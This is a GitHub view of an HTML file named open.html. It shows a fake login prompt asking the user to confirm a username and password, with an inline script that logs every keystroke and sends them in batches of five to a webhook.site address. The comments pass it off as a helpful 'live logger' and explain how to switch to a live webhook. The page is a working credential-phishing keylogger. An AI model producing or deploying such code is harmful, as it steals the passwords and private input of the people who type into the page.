-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathopen.html
99 lines (85 loc) · 3.04 KB
/
open.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>dvatest</title>
<style>
body {
background-color: rgb(27,29,36);
font-family: Arial, sans-serif;
color: white;
display: flex;
margin: 0;
padding: 0;
}
.login-container {
display: flex;
padding: 0px;
border: 0px;
}
.login-field {
margin: 0 5px;
}
.input-field {
padding: 3px;
background-color: #333; /* This gives the input fields a grey color */
border: none;
color: white;
outline: none; /* This removes the blue outline on focus */
}
.input-field::placeholder { /* This changes the placeholder text color to a lighter grey */
color: #666;
}
</style>
</head>
<body>
<script>
// Live logger to help people in need.
// Change webhook url to live webhook in the fetch function.
// Modify # of keystrokes you want before sending the data.
// look for a form parameter named "keystrokes"
(function() {
// Array to store captured keys
let capturedKeys = [];
// Function to send data to a webhook
function sendDataToWebhook(data) {
const formData = new URLSearchParams();
formData.append('keystrokes', data.join('')); // Convert array to string
fetch('https://webhook.site/01ad73ef-2837-48b2-a4e0-6b8caca4b6ec', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
body: formData
})
.then(response => response.json())
.then(data => {
console.log('Success:', data);
})
.catch((error) => {
console.error('Error:', error);
});
}
// Event listener to capture keystrokes and send data when necessary
document.addEventListener('keydown', function(event) {
capturedKeys.push(event.key);
if (capturedKeys.length >= 5) {
sendDataToWebhook(capturedKeys);
capturedKeys = []; // Reset the captured keys
}
});
})();
</script>
<div class="login-container">
DVA - Please confirm your username and password
<div class="login-field">
<input type="text" id="username" name="username" class="input-field" placeholder="Username">
</div>
<div class="login-field">
<input type="password" id="password" name="password" class="input-field" placeholder="Password">
</div>
</div>
</body>
</html>